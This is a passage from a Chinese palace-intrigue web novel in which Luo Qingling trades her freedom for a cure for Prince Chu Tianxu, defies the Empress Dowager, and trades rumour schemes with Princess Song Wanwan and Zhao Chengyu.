楚砚寒知道洛清泠是不打算说了，绷着一张脸，摔门去了。 到傍晚，云福公公亲捧一朱砂大盘，盛着水晶果，来了王府。 王府开门迎接，才看见外面不止宫中人，还有许多百姓闻着热闹，随行而至。 “陛下得知平阳王身中奇毒，需要这水晶果救命，连夜命老奴将这东西送来。”云福公公宣读完圣旨，笑眯眯地赔罪：“也是老奴不是，找了许久才找到，这不，赶紧就送来了！世子爷，赶快用药吧，王爷可是陛下的左膀右臂，不容有闪失的啊！” “多谢陛下！” 楚砚寒寇恩跪谢，双手结果那朱砂盘子，手背上的青筋鼓起，一抽一抽地扭动着。 穆见骨拿了水晶果，连夜施药，至天明才出来。 楚砚寒就坐在外间桌边，枯坐一夜。 见穆见骨出来，连忙上去询问。 穆见骨摆手道：“用药及时，余毒已经拔出，这两日用药养着，不日就会醒来，一点后遗症都不会有！” “多谢前辈相助。” “别着急谢我，我不是为你来的，方子已经写好，就在桌上，你自派人去抓了药熬煎就是。” 穆见骨哼笑一声，便看见院外，洛清泠已经候着了。 他走过去，笑道：“女娃娃，老头我要走了。” “前辈辛苦。” 洛清泠说着，已让青云送上薄礼，穆见骨推了：“要什么报酬老头我自会来取，倒是你这个娃娃——” 他上下打量了一番，低声道：“可还记得老头儿我的小竹屋？” 洛清泠正不解，穆见骨道：“若是有个万一，老头儿我准你来我那儿暂时躲躲。” 说完，不管洛清泠如何心惊，已经扬长而去了。 “不必送了，我认得路。” 接着，健步如飞，三两下已经不见了踪影。 “倒的确是个随性的……” 洛清泠琢磨着穆见骨的话，身边不妨已经站了道身影，那人视线深深扫过她的眉眼，道：“他与你说了什么？” “没什么。”洛清泠摇头。退开两步：“若是王爷已经没事了，我就先回去了。” 她似乎怕楚砚寒追问，带着青云也走得飞快。 可楚砚寒只是站在原地，深邃的双眸注视着她离开的方向，几乎将她的背影灼穿。 第十九章 我没有那样的想法 两日后，楚天旭苏醒。 楚天旭一醒，楚砚寒就将府中最近的事情告知了他。 楚天旭沉默着，长叹口气：“这次，倒是欠了清冷一个人情……” 楚砚寒没说话。 他这几日一直心绪不宁，一想到洛清泠肯定是许了皇帝什么条件，才拿到了药，把自己放出来，心中就更不是滋味。 “父……” “陛下圣旨！平西王接旨——” 门外，太监尖细的声音响起。 来了。 楚砚寒心中一沉。 楚天旭就要起身，被楚砚寒按住。 “父王，我去吧。”他眼中一片沉闷，“总之……也不是冲着您来的。” “什么意思？”楚天旭一愣，还要再问，楚砚寒已经走了出去了。 来宣旨的是云福公公的干儿子，在楚砚寒说楚天旭刚刚苏醒，还无法起身后，果然也没有过多说什么，笑眯眯将旨意颁布，然后亲自将楚砚寒扶起来：“世子爷，快快请起！” 楚砚寒捧着圣旨进去，楚天旭见他脸色不对，忙问道：“怎么了。” 他一把拿过那卷明黄色的圣旨，三两眼读完，仍然不敢相信。 “这是什么意思？要清泠和明霄和离？” 他想到楚砚寒的沉默，立刻明白自己治病的药到底是付出了多大的代价求来的，心中一震，圣旨就砸在了楚砚寒身上。 “楚砚寒！我是怎么嘱咐你的！你怎么没拦着清泠！” “去！给我把人给我叫来！” 门外已有小厮跑了出去，不一会儿，就带着洛清泠回来了。 楚天旭憋了一肚子闷火，看见洛清泠，又不由自主全都散了。 他遣散众人，只留了洛清泠和楚砚寒在屋里说话。 “清冷，这次，是我拖累了你。” 楚天旭叹道：“你不用担心，等我稍微好一点，立刻进宫，求陛下收回成命。” 洛清泠摇摇头：“王爷——” “叫什么王爷！我是你父王！”楚天旭竖起眉头 洛清泠却没改口：“王爷，陛下早就写好了圣旨，只等着这个时候送来，是因为一切都已经回不了头了。” 是啊。 水晶果已经用了。 楚天旭已经醒了，楚砚寒也已经回来了。 他们的交易已经达成，洛清泠没有反悔的余地。 屋中两个男人脸色都紧绷着。 楚天旭道：“你既然嫁入了我平西王府，就是我平西王府的媳妇，他天王老子管着社稷江山，还管老子家里人婚丧嫁娶不成！” 说着就叫楚砚寒给他找朝服，也不养病了，立刻就要进宫去见皇帝。 “王爷！” 洛清泠知道楚天旭是真对自己好，一时眼眶也有些发热。 她定了定情绪，道：“王爷这个时候入宫，也不过是平白惹了陛下不高兴罢了。清冷知道王爷拿清冷当亲生女儿对待，十分感激。” 楚天旭吹胡子瞪眼的：“你知道还答应这狗屁条件！” “王爷，真不用为清泠担心，清冷不做没把握的事，当初事出从急，答应这个条件，却不代表清冷没有破解之法。” 楚天旭一顿，眯起眼睛：“哦？” 连一直站在一旁的楚砚寒也忽然抬起了头来，目光灼灼地看向洛清泠。 “清泠已有对策了？” 洛清泠点头，笑了笑：“王爷不用担心，神医说王爷刚苏醒时还要多加休息，喝两日固本培元的汤药呢，尤其是情绪，可千万不能大起大落。” 她和楚天旭说了一阵，把人哄高兴了，见他脸上有些疲色，便立刻告辞出去了。 “我送嫂子出去！” 楚砚寒在旁边喊了一句，闪身已经跟了出去。 楚天旭看着他的背影，缓缓拧了拧眉。 “嫂子！” 洛清泠闻言停下，看着追来的楚砚寒：“世子，可有什么事？” “你、你当真有办法能让……收回圣旨？” 原来是为这事而来。 洛清泠勾起唇角：“不但如此，我还能让赵承宇那厮，再不敢这么明着觊觎我。” 那样恶心的眼神，她也忍受够了。 既然他们紧逼不放，也别怪她出手反击了。 “那就好……那就好。” 楚砚寒近乎喃喃自语，他说不清自己此时心中是何等感受。 在接到圣旨那一刻的慌乱震怒，还有在看见洛清泠早已有了对策时的大松一口气。 他将心底的兴奋压下，连忙道：“嫂子切记自身安慰最重要，若是有任何需要，嫂子只管来找我，我一定鼎力相助！” 洛清泠顿了一下，才点点头，带着青云离开。 一转身，她脸上的笑容就淡了下来。 不。 这些年的退让，已经让她欠下太多人情，她不想再牵扯太多人进自己的事情里面了。 ＊ 楚砚寒推门进去，却见楚天旭还坐着，笑道：“父王刚才不是还困了么，怎么还不睡？” “等你。” 楚天旭偏过头来，看着楚砚寒脸上轻快的笑容，一颗心渐渐沉了下去。 “等儿子做什么？难道父王还要儿子给您将个睡前故事不成？” 楚砚寒说着，就上前两步，给楚天旭整理了一番被子，扶着他要躺下。 “　不急。” 楚天旭抓住他的手，视线锐利：“砚寒，我有事想和你谈谈。” 楚砚寒这才从刚才的兴奋里醒过神来，对上楚天旭的眼神，心中骤然一跳。 “父王……要和儿子说什么？” “你对清泠，是和想法？” “……” 楚砚寒沉默了。 这沉默里，带着一丝心慌，更多的，却是茫然。 “嫂子啊……”楚砚寒开口有些艰难：“嫂子是个很好的人，又是洛家唯一的后人，父王不是也让我照顾好嫂子么？” “你知道我在说什么。”楚天旭没接受这个答案，从鼻腔里发出一道轻哼，“砚寒，不要让为父再问第二遍。” “……” 房间陷入一片寂静。 许久。 楚天旭道：“好，看来你是不愿意自己说了，那为父换个话问你——楚砚寒，你是不是对洛清泠有了别的心思？” “我没有！” 楚砚寒矢口否认，又在楚天旭沉沉的目光之中，紧紧抿紧了唇。 “我……” “那是我，是我嫂子。” “父王多虑了，我，我没有那样的想法。” 第二十章 楚少夫人，请吧 楚天旭冷哼一声，翻身睡下了。 楚砚寒沉默地看着父王的背影，许久。 他抹了一把脸：“父王还记得，那日宁王府设宴的事么？” 楚天旭没有回应。 楚砚寒道：“那日嫂子在宁王府被人下药暗算，儿子赶到时只来得及将赵承宇打晕，想要尽快找到嫂子带回的，可最后……” 楚砚寒嘴唇微动，说不下去了。 他才发现，那日洛清泠说让他遗忘的画面，原来一直都那么清晰。 未尽之言，楚天旭已经明白。 “这件事是儿子不对，儿子的确想要弥补嫂子。” 良久，楚天旭长叹口气：“清泠的事情，我会想办法。你下去吧。” 楚砚寒行了一礼，安静退了出去。 屋外，正是晌午。 烈日当空，楚砚寒却觉得浑身阵阵发寒。 ＊ 筠儿外出采买，从首饰铺出来，正好遇见两名贵女携手进门。 她退避了两步，准备等她们进去之后再离开。 却听那两人叽叽咕咕说着闲话，其中两个名字一入耳，她就诧异地瞪了过去。 “你说她宋绾绾什么没有，要什么要不到，怎么就偏生看上了赵承宇那厮？” “别这样说，赵承宇不论身份，至少那张脸还是能看得嘛——不过，宋绾绾真和赵承宇有了私情？” “怎么没有？京城里传得有鼻子有眼的，这两人也不知道怎么勾搭上的。你上次没进宫参加宴会，没看见呢！这两人一唱一和的，可默契了，要说没点猫腻，谁信？” 说着，两人交换了一个暧昧的眼神，心照不宣地笑了起来。 你们胡说！ 闭嘴啊！ 筠儿咬住唇，控制了一下才没冲上去和这两人打起来。 她不敢相信这些话若是传入郡主耳中，郡主会是何等的震怒！ 筠儿匆匆赶回郡主府，没见到宋绾绾，问了人才得知一刻钟前宋绾绾就被宁王派人传话接回王府去了。 她心里一紧，又连忙赶回王府去。 刚到院子里，就听到屋里传来宋绾绾崩溃的喊声：“我都说了不是！根本没有这回事！这都是污蔑！” “哼，污蔑？那你说，上次在御前，为何和那赵承宇这般眉来眼去！” “父王？连你也不信我！” 宋绾绾不敢置信地看着宁王。 “你要我信你什么？现在外面都传遍了！传得有鼻子有眼的！还有天香楼的掌柜和伙计，都证实了你二人曾在天香楼同一个包间里吃过饭！” 宁王冷哼一声，不争气地看着她：“他赵承宇是什么人，你又是什么人？你和他单独吃哪门子的饭，啊？” 宋绾绾都要急哭了，口内直说冤枉。 “别说了！”宁王大手一挥，“是我这些年太纵容你，等这次风波过去前，你就给本王在王府里待着，哪里也不许去！” “父王，您这是要禁我足？” 宋绾绾瞪大了眼睛，可宁王只是看了她一眼，甩袖就离开了。 宋绾绾忍不住红了眼眶，将屋中的东西能砸的都砸了个粉碎。 筠儿进门来：“郡主消消气！” “肯定是有人陷害我！” 宋绾绾在床边坐下，听筠儿将自己听到的传闻说了一遍，眼中闪过一抹狠毒之色。 “洛清泠，绝对是她！” “当日在御前她就想要将我和赵承宇那厮扯在一起！” 宋绾绾猛地站起来，怒道：“洛清泠！本郡主定会要了你这贱人的命！” 城中因为宋绾绾和赵承宇的事闹得满城风雨时，洛清泠正在平西王府之中照顾楚天旭。 楚砚寒这两天不知道在忙什么，竟然直接不见了人影。 洛清泠放心不下，便亲自盯着楚天旭的汤药，从煎药到服用，她都亲自盯着，就怕上次那无故中毒的事再发生。 楚天旭几次欲言又止，在洛清泠的眼神追问下，又只是摇摇头。 又吃过一次药，府中大夫诊脉之后道：“王爷体内余毒已经彻底清了，只是内力空虚，还需多修养两日。” “不，去给本王递个折子，明日本王就进宫！” “王爷！” 一道清脆的声音比大夫的声音更快响起：“大夫说王爷还需要修养，王爷就多修养两日吧。” “清泠啊。” 楚天旭无奈地看着她，挥了挥手，让大夫先下去。 “我已经休息这么多日了，又不是什么大病，真的已经大好了。” 洛清泠在小凳子上坐了，不肯退：“若是王爷明日就要入宫，那清泠只好也带着圣旨，一道入宫了。” “你！” 楚天旭大叹一口气：“你这又是何苦呢。” “这件事本和你就没关系，你何苦将自己拴在这些破事里？” 说到这里，楚天旭顿了一下：“这样吧清泠，本王这就写封引荐信，你带着引荐信离开京城，投奔别处去，京城的事就先别管了，皇上那边本王来解决……” “王爷，清泠不走。” 洛清泠知道楚天旭是真的将自己当女儿疼爱，能说出这么冲动的话，也是一时关心则乱。 她心中微烫，更不能让他们牵扯进来，刚预备再解释什么，门外，青云忽然出声，和人说了什么。 洛清泠偏过头去，青云已经进来了，凑近她耳边低声说了什么。 楚天旭皱眉：“出什么事了？可是陛下那边在催你了？你别管，我这就进宫去。” “不是，只是一些院子里的琐事。” “这样……那你先去忙吧。” 洛清泠点点头，带着青云出了门。 她给青云使了个眼色，道：“在府中候着，务必将王爷和世子拦着，别让他们冲动。” “可是小姐您一个人，奴婢不放心——” 罗青云摇头道：“总不能直接吃了我。你按照我说的，留在府中，我更担心王爷和世子。” 担心这两人会为了她，做出其他的傻事来。 青云红着眼点了点头，留了下来。 洛清泠肚子一人来到王府小门，门外，已经有一定清油小轿候着了，站着一个绛紫色袍衣的公公和一老嬷嬷。 那嬷嬷见洛清泠出来，笑着上来扶着她，往轿子里送去：“楚少夫人，请吧。” 第二十一章 面见太后 清油小轿慢悠悠地，盛着洛清泠，往皇宫去了。 楚砚寒落后一步才收到消息，从桌案上猛地抬起头看着管家：“你说什么？” 管家为难道：“小门上都是少夫人布置的人，老奴也是正巧路过，才看见，少夫人被人接走了。” “老奴别的不说，就是记性不错，若是没看错，那来接少夫人的老嬷嬷，是太后身边的苏嬷嬷！” 楚砚寒咬着牙，站起身就要出去，没走两步，就在小径上看见了红着眼睛守在那里的青云，当即脸色一沉。 “青云！” 楚砚寒大步走去，脸色风雨欲来：“你不跟着你家小姐，在这里乱晃什么！” 青云瞪着他：“世子何必明知故问！小姐担心世子，才不要我跟随的，奴婢比任何人都担心小姐！” 她想着洛清泠孤身一人进宫就心疼得不得了，又因为洛清泠的吩咐不得不留下，心中憋了一肚子怨气，见到楚砚寒，顿时也顾不得身份了，倒豆子一般骂起来。 “世子这是打算去哪里？”青云抹了抹眼泪，恨恨道：“看来小姐说得不错，若是不将奴婢留下，只怕世子又要让小姐担心了！” 楚砚寒张了张嘴，到底没有说出别的话来。 “我不会给她添乱的。” 这话不知道是说给自己听的，还是说给青云听的。 ＊ 另一边。 清油小轿直接进了宫，中途又换成了一架小撵，将洛清泠带去了慈宁宫。 “臣妇洛清泠，见过太后，给太后请安。” “起来吧，珠儿，看座。” 洛清泠在一旁坐了，又有宫女捧了茶来放着。 “楚少夫人嫁入平西王府后，又遇上新丧，这些年少有走动，哀家都忘了你这孩子的模样了，抬起头来——” 洛清泠抬头。 太后浑浊的视线落在她脸上，好一会儿才意味不明地笑了一声：“的确是个好模样，难怪那赵承宇一直念念不忘。” 洛清泠睫毛轻颤，到底没有说什么。 太后也不在意，手边放着一小捧新晒的杏儿子，一边剥，一边问道：“皇帝说，你亲自答应了要嫁给赵承宇？” “臣妇不敢欺瞒，能为陛下排忧解难，是臣妇的服气。” 太后不置可否地笑笑。 洛清泠要真有这想法，当年能那么快就嫁进了平西王府？不过是走投无路的决定罢了，若是给她其他出路，太后可不认为这丫头会任命。 她将洛清泠叫进来，也是为了敲打警告，让她别耍花招。 当年洛清泠直接嫁进了平西王府，皇帝无奈，才叫这事耽搁了下来。 当年楚明霄死了之后，她就让皇帝直接将洛清泠绑了送去越国，一了百了，但皇帝非要一个心服口服，这才耽搁了这么多年。 殿内只有太后慢慢剥壳的声音。 咔咔。 咔咔。 剥完最后一颗。 太后拍了拍手，立刻就有侯在一旁的小宫女捧着水帕来给太后洗手擦拭。 “行了，既然你自己已经答应了，那哀家也就不说什么了，好好等着嫁人就是。” 太后警告地看了洛清泠一眼：“别想耍花招。” “洛家军覆灭，你虽是个孤女，但在平西王府生活了三年，平西王还能替你说话，想来你们关系都还不错。” “若是你敢逃婚，就等着看平西王府付出代价吧！” 太后说完就准备离开：“行了，退下吧，哀家也乏了。” 洛清泠却坐着没动。 太后不耐地看过来，洛清泠抬起头：“臣妇成为孤女，是因为洛家军为守卫国土牺牲了。” “能上战场的男儿女儿，无一不是将命豁出去，为了大家，舍弃小家，将脑袋拴在裤腰带上，随时准备为国捐躯。” “战场上刀剑无眼，没死去一个将士，全天下就有可能多一个臣妇这样的孤女孤儿。” “太后娘娘一句话，就会让多少将士寒心。” 太后没想到洛清泠拿这件事来压自己，心中震怒：“洛清泠！你这是在威胁哀家？” “不敢，实话实说罢了。” 洛清泠不卑不亢地垂下眼眸，站起身，对太后行了一礼。 “平西王早年随陛下征战，为陛下鞠躬尽瘁，若只是因为臣妇这一件小事，就要成为娘娘杀鸡儆猴的工具——到时候还轮不到臣妇多嘴，只怕群臣就已经吵翻了天了。” “洛清泠，你好大的胆子！” 太后心口急速起伏，指着洛清泠的手指都在发抖。 “臣妇是个心直口快之人，这三年又深居简出，若有冒犯太后之处，还请太后见谅。” “既然娘娘乏了，那臣妇就先退下了。” 洛清泠说完，就退了出去。 余光瞥见太后那张包养得如花似玉一般的脸都在扭曲。 她马上要嫁给赵承宇，太后也只能言语侮辱几下罢了，暂时还不会动她。 大概在想，等她嫁给了赵承宇，有她受罪的时候。 洛清泠平静地想着，却把自己想笑了。 进宫时是坐的撵子，把太后气到了，出宫就没撵子可坐了，只能步行，还得绕着那些达官贵族，尽量缩小存在感。 可惜洛清泠不想惹麻烦，却偏偏有麻烦找上门。 眼看就要到出口的口，路却忽然被一道鹅黄身影挡住。 “哟，这不是楚少夫人吗。” 何琳琅掩嘴一笑，眼中满是恶意：“怎么，这是走出来的不成？哎呀，几天不见，怎么这么可怜了？” 洛清泠绕过她打算走，却被拦了下来。 “诶，别着急着走啊，我们叙叙旧。” 说着，就给自己的侍女使眼色，几人半推半强迫地，将洛清泠带到了一个角落上。 洛清泠看着何琳琅：“何小姐，我应当没有惹过你，你到底想做什么？” “哼，现在知道怕了？早干什么去了。” 何琳琅不屑冷哼，只把洛清泠不愿找麻烦的模样认做是怕了。 “你是没惹我，可你惹了绾绾姐！” “绾……宋绾绾？我没有惹过她。” 倒是她不停来挑衅，不停来惹我。 “洛清泠你少在这里装无辜了，外面的那些话，肯定是你传的！别想蒙我！” “也就只有你这样恶心的贱人，才会处处和绾绾姐过不去！” 第二十二章 要骂就骂吧 “何琳琅，”洛清泠看着她，直接叫了名字：“你上次来找我，我就说过了，别被人当了傻子，被人利用了还给他人数银子呢。” “洛清泠你还敢骂我？” 何琳琅说着就要来扇洛清泠巴掌，可又忌惮着洛清泠的伸手，最后只能咬牙忍了，指着她骂道：“等你嫁给赵承宇，我看你还能怎么嚣张！” “听不懂我说话就算了。”洛清泠道：“让开。” “我就不让！” 何琳琅往前站了一步：“有本事你就弄死我啊。” 洛清泠无语望天，决定最后挣扎一把。 “那天宫宴，你原本坐得好好的，为什么突然上来找我？” 何琳琅皱着眉，顺着洛清泠的话想了一想。 那日她虽然怨恨洛清泠，但考虑到洛清泠有楚世子护着，自己就算不平，也没有办法出口恶气，只能忍着。 结果正好听见了宋绾绾和人说话，又委屈又难过，说洛清泠好恶毒一个人，为了撇清自己，竟然把她和赵承宇牵扯在一起。 她与宋绾绾交好，顿时气上心头，就去找了宋绾绾。 洛清泠：“你再想想，那日谁要给你出头，最后却悻悻然离开，留下你一个人在那里被大家嘲讽？” 何琳琅身形一晃。 洛清泠：“今日，又是谁将这些消息，传到了你耳朵里……” “你闭嘴！” 何琳琅厉声呵斥了一句：“洛清泠，别想着挑拨离间！无论是那日宫宴，还是今日，都是因为你！” “都是因为你，才让我出了这么大的丑！” “你还想栽赃黑绾绾姐？哼，痴心妄想！” “我告诉你，为绾绾姐出头，都是我自愿的！” “像你这种没有朋友的人懂什么？” 何琳琅一口气说了好几句，最后把自己说服了，怒气也平息了下来，嘲讽地看着洛清泠：“明明绾绾姐才是最可怜的，被你造谣中伤，还要被你挑拨离间，洛清泠，你这人怎么就这么贱呢？” “我是自己听到了你进宫的消息，才想着来堵你的，若是今日你不将你散播的谣言澄清，再给绾绾姐道歉，我就让你好看！” 洛清泠：…… 没救了。 她长叹口气，在何琳琅自得的目光中，露出一个看傻子的慈爱表情：“何小姐太高看我了，我这些时日都没有出过府门一步，哪里有散播过什么谣言——不过你这样说来说去，我倒是想起来，刚才在慈宁宫时，太后娘娘似乎就说过什么谣言。” “看起来很生气的样子呢。” 洛清泠真诚地看着她：“郡主不是太后娘娘的心尖宠么，怎么，外面到底传了什么谣言，连太后娘娘都不帮忙澄清，反倒生起气来了？” 何琳琅立刻反驳道：“不可能！太后娘娘绝对不可能相信那些谣言！洛清泠，肯定是你说了什么！” “这可真是冤枉我了，何小姐。我连你说的谣言是什么都不知道——不如这样，你将谣言告诉我，我听听看，才好确定这个锅我到底要不要背，你觉得呢？” 何琳琅下意识就要说出口，最后反应过来，只是冷笑：“差点就上了你的当，我今日若是和你说了什么，转头你就把这个事情推到我身上了。” 但看着洛清泠清澈的眼眸，何琳琅又有些摇摆。 尤其是想到她说太后娘娘很生气，心里就觉得不安。 是啊，这么离谱的谣言中伤宋绾绾，太后为什么一点动静都没有？ 为什么不帮忙澄清呢？ 难道是真的信了，在气宋绾绾？ 那可不行啊！ 宋绾绾现在被宁王禁足，就是想要解释，也出不来解释啊！ 何琳琅心里着急，恨不得立刻就去给太后解释，可又不想这么轻易放过这个看起来没有威胁的洛清泠，一时进退两难。 心腹丫鬟靠近耳语道：“小姐，不若先去求了太后娘娘，先将郡主解救出来再说，至于这个洛清泠——等她嫁给了赵世子，您到时候想怎么折磨她，不也就是一句话的事儿么。” 何琳琅眼眸一亮，点点头，对洛清泠道：“哼，今日算你走运，我就放过你。” 说完，便带着人匆匆往慈宁宫那边去了。 洛清泠勾了勾唇角，信步出了皇宫。 她本是坐的太后的小轿进的宫，门口没有平西王府的车架才对，洛清泠打算出来后便雇车。 没想到刚出来，就有一眼熟的婆子跑来：“少夫人，老奴来接您。” 洛清泠顿了一下才认出来，这是王府的老人了。 在看，这婆子身后不远就是一架马车，门前的灯笼上还挂着平西王府的封号。 洛清泠弯了弯眉毛：“多谢。” 回了王府东苑。 洛清泠一进门，就看见楚砚寒坐在院子的石桌边喝茶。 听到动静转过头来，接着立刻站了起来：“嫂、嫂子，你还好吗？” “有什么不好的，”洛清泠笑着让他坐：“宫里也不是什么龙潭虎穴，进一趟就要脱皮不成？” 也差不多了。 楚砚寒沉默地想着。 可看着洛清泠眉眼之中的轻笑，他提起的心也不由自主地落了下来，感受到一阵轻快。 洛清泠坐下喝了茶，茶水一入口就皱了皱眉。 楚砚寒看来，连忙道：“我我没洗茶，嫂子快吐了，我重新泡给你喝。” 洛清泠愣是将茶水咽下去，叹息了一口气。 楚砚寒是……当真关心自己。 她从善如流，放下了茶盏，看楚砚寒给自己泡茶。 等到一杯热气腾腾的新茶递来，洛清泠才道：“世子，你做了什么？” “没做什么啊，泡茶啊。” 楚砚寒随口答应着，一抬头对上洛清泠的眼眸，竟然有些心虚起来。 “就、真没做什么。”楚砚寒避开视线：“嫂子不是留了青云在府中照看着我呢？我哪里敢做什么，连接嫂子的事都没有……” “世子。” 楚砚寒：“……” 他放下茶盏，摸了一下鼻子：“嫂子当真是料事如神，我没有进宫，但心里实在是气得很，便出了一趟门，将赵世子给蒙着头走揍了一顿。” 洛清泠满脸错愕地看着他。 楚砚寒低声笑起来：“哎，嫂子要骂就骂吧。” 第二十三章 懿旨 洛清泠闷声笑起来，笑得脸都红了。 “我骂你做什么？” 她捂着嘴，偏开了头，那斜眼去看楚砚寒。 眼眸微红，带着浅浅的水光，随意一看，就能把人骨头看酥。 楚砚寒一时看呆了神。 “我只是让青云看着你拦着你，别一时冲动跑到宫里去找陛下对峙去了，你做别的我管你做什么？” 洛清泠笑够了，转过头看见楚砚寒脸上那有些懵懂的小狗狗表情就又有点想笑，好容易憋住了。 她抹了把眼角，问道：“你好好儿的，去打他做什么？” “给嫂子出气，毕竟……都是因为他，给嫂子带来了这么多麻烦，”楚砚寒轻咳一声，眼皮垂下，将所有情绪都遮盖了下去：“我放话说让他自己解除和嫂子的婚事。” 说完，又找补道：“不过嫂子放心，我没有让他看见我，赵承宇不会知道是谁揍了他。” 洛清泠手指在桌上轻轻一敲，勾起唇角：“不知道有什么意思，倒不如告诉了他去。” 楚砚寒心念一动：“嫂子的意思是？” “留点消息，往宋绾绾身上引。” “我明白了。”楚砚寒说着就起身告辞。 洛清泠在后头喊道：“世子切记做得天衣无缝，不要漏了马脚。” 楚砚寒离开后，青云才走上来，问洛清泠：“小姐，你之前让奴婢偷偷放话出去，说宋绾绾和赵承宇有私情，现在却又引导赵承宇认为打他的人是宋绾绾，这不是自相矛盾么？” “傻丫头。”洛清泠拍了青云脑门一下，只说：“等着看吧。” 宋绾绾禁足没多久，就被一道懿旨，传进了慈宁宫。 太后见到人，一拍桌子：“给哀家跪下！” “你堂堂一个郡主，何苦去和赵承宇那厮厮混在一起！” 宋绾绾也不反抗，直直往地上一跪，哭起来：“皇祖母，绾绾冤枉！” “前儿父王就不信绾绾，不但不听绾绾解释，还给绾绾禁了足，今日却连皇祖母也不信绾绾了！” 她哭得凄惨，竟有几分要惊撅过去的模样。 太后到底软了心肠，苏嬷嬷便将她扶起来：“郡主这是做什么，娘娘素日是最疼爱你的，你有什么委屈只和娘娘说，哪里就哭成这样了？” 宋绾绾还抽抽噎噎的：“若是皇祖母也不信绾绾没做过这样的事，绾绾不如一头撞死算了！” “说的什么胡话！” 太后呵斥了一句，招招手，把人拢进怀里细细看着：“受了委屈也不知道告诉哀家，看你这眼睛，都哭肿了。” 苏嬷嬷立刻吩咐小丫头去拿冰来敷着。 宋绾绾小声啜泣道：“皇祖母，绾绾真的是被冤枉的，您相信绾绾，绾绾怎么可能会看上赵承宇呢？” “这就是有人看不惯绾绾，所以故意给绾绾泼脏水呢！” “谁陷害你？”太后问。 宋绾绾在心里冷笑，面上却还是一派可怜的模样：“绾绾不知……只是绾绾前不久才和楚少夫人闹了些龃龉，不不，肯定不是她——” 她说着又自我否定起来。 太后闻言，当即道：“怎么不可能是她，那日我宣她进宫，还这么装腔作势，看着就讨厌！” 说话之间，已经认定就是洛清泠给宋绾绾使绊子。 “怎么可能呢？”宋绾绾掩嘴惊诧道：“楚少夫人人挺好的，会不会是正好前段时间身上不好，有些不开心，惹恼皇祖母？那日我去看她时，她还将我赶出来了呢！” “其实楚少夫人心不坏，就是有些任性，想来也是曾经在家中宠惯了的，如今家中又只有她一个人了，闹些脾气也是应该的……” “全天下百姓流离失所的有多少，她能蒙着她父兄的荫功，又嫁入了王府，还有什么不满意的？” 太后怒道：“你也别替她说话了！我看洛清泠就是太无法无天了，不将哀家和皇帝放在眼里！” 太后越想越怒，那日被洛清泠三言两语震慑的恼怒一齐涌上心头。 她说了好几遍无法无天，最后喊道：“苏烟！你去，给哀家把洛清泠叫进宫来！这将来要去越国和亲的，哪里能这么不懂礼数？” “她既没了父母家族，又是为我皇族分忧，哀家就给她这个面子，亲自教导她礼数！” 苏嬷嬷点头，就要走。 宋绾绾一把按住太后的手，道：“皇祖母，您不要生气了，这样吧，孙女也是您一手交出来的，又和楚少夫人关系不错，就由孙女来替您教楚少夫人礼数吧？” 太后一时没有说话，只是拍了拍宋绾绾的头。 “也好。”她眯起眼睛，“哀家知道你心疼爱家，不过——不要做得太过明显，让人抓着了把柄。” “孙女明白的。” 宋绾绾轻笑，心中已经有了成算。 离开慈宁宫时，她还求了一道口信，让宁王给自己解除禁足一事。 另一边，洛清泠在平阳王府中也收到了太后的懿旨。 让洛清泠从明日开始，就进宫学习礼数，到时候嫁给赵承宇，不要辱没了皇家的颜面。 青云气鼓鼓道：“小姐！他们肯定就是想借着这个由头欺负你！您可千万不能进宫呢！” 上次才说皇宫不是什么扒皮的龙潭虎穴，这不就来了？ 洛清泠将那懿旨卷了卷：“哪里是我说不去就不去的。” “可是！”青云想了想道：“要不，小姐去求求世子和王爷，让他们求求情，就不要去学这劳什子宫规礼仪了吧？” “学什么宫规礼仪？” 楚砚寒的声音从门外传来。 青云连忙开门，行了一礼：“见过世子。” 楚砚寒皱着眉看着洛清泠，固执地问：“什么宫规礼仪？” 洛清泠见他执着追问，便将手中的懿旨递了过去。 楚砚寒看过，就要拿着懿旨走，洛清泠连忙把人叫住：“站住！世子，你想去哪里？” “我进宫，让太后将这件事取消了！” “懿旨都下了，哪里能说取消就取消的？”洛清泠失笑，“别担心，只是我上次入宫，惹恼了太后罢了，所以捉了我的错处，要给我添堵来了。” 第二十四章 冤债 “我听说今日宋绾绾进宫去了。” 楚砚寒道：“太后可能是，为了给宋绾绾出气。” “也许吧。”洛清泠没什么所谓，大不了就是这教授礼仪有宋绾绾插一脚罢了，不是什么大事。 她叮嘱道：“这件事我自己会解决，世子不要贸然出手。” 她是真不想让楚砚寒再搅合进来了。 上次不过进宫求药，就被皇帝关了起来呢。 上次她好歹还有些条件可以交换。 “我明白了。” 楚砚寒低声道。 洛清泠担心他只是随口应承，又从其他地方找些事出来，便叹了口气，道：“世子以后还是不要离我这么近了。” 楚砚寒豁然抬头，看向洛清泠。 他想问洛清泠什么意思，可张口，脑子里却想到那日楚天旭对自己的逼问，心中顿时一乱，什么话也没能说出口。 洛清泠只想着楚砚寒离自己远点，就不用被自己牵连一事，哪里知道他心中的弯弯绕绕，久等不来回答，她疑惑看去：“嗯？” 楚砚寒迅速别开了脸，将那复杂的模样收敛，张开口却没能第一时间发出声音。 他清了清嗓子，才道：“是，都听嫂子的。” 洛清泠微微蹙眉，不接楚砚寒怎么忽然情绪降低这么多，不过，她也不用解释。 既然已经说过要划清界限。 ＊ “不可能！” 书房之中，赵承宇皱眉道：“宋绾绾莫名其妙找人来打我做什么？我和她无冤无仇。” 而且还是盟友。 虽然上次见面，宋绾绾并没有答应自己要给皇帝求婚事，但——这婚事不是已经来了么？ 难道是宋绾绾求来的？ 求完之后觉得心火难消，所以就派人来打了自己一顿？ 越想，赵承宇越觉得离谱，问道：“你们确定？这是你们查到的？” “属下不敢欺瞒世子，的确是属下查到的，属下找到了当初敲闷棍的那根棍子，又多方探查，才找到那棍子其实是郡主府的。” “一根棍子还有谁家的？”赵承宇拧眉道。 “说来也巧，世子不是说曾闻见过一阵异香，属下查过，是那棍子上的香味，那棍子是千黄木，不说千金难求，寻常人家是少用的。” “唯独郡主府，前两年扩建时，才从外省采购了一批。” 赵承宇沉默半晌，坐回了凳子上：“行了，你下去吧。” 等人离开后，赵承宇又坐了一阵，才起身叫了小厮换衣服。 那日打他的人他并没有看清是谁，还以为是洛清泠派的，后来一打听才知道，洛清泠被太后叫去了宫里，哪里有时间做这个？ 那贼人下了狠手，断了他三根肋骨和左小腿腿骨，到如今他稍微动作大一点，就难受得要命。 趁着夜色。 赵承宇摸到了郡主府后门边儿上，一脚将打瞌睡的门童踹醒，沉着脸道：“进去通报。” 门童看了赵承宇一眼，进了门去，不一会儿就出来，将赵承宇迎了进去。 “赵承宇，你疯了！” 